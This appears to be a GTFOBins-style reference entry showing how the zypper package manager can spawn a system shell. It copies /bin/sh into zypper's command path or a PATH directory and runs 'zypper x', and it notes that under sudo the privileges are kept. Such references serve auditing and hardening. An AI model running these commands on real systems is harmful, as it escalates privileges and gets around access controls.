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This executable can spawn an interactive system shell.

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The copy usually requires elevated privileges.
Unprivileged
This function can be performed by any unprivileged user.
```
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x
```
Unprivileged
This function can be performed by any unprivileged user.
```
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x
```

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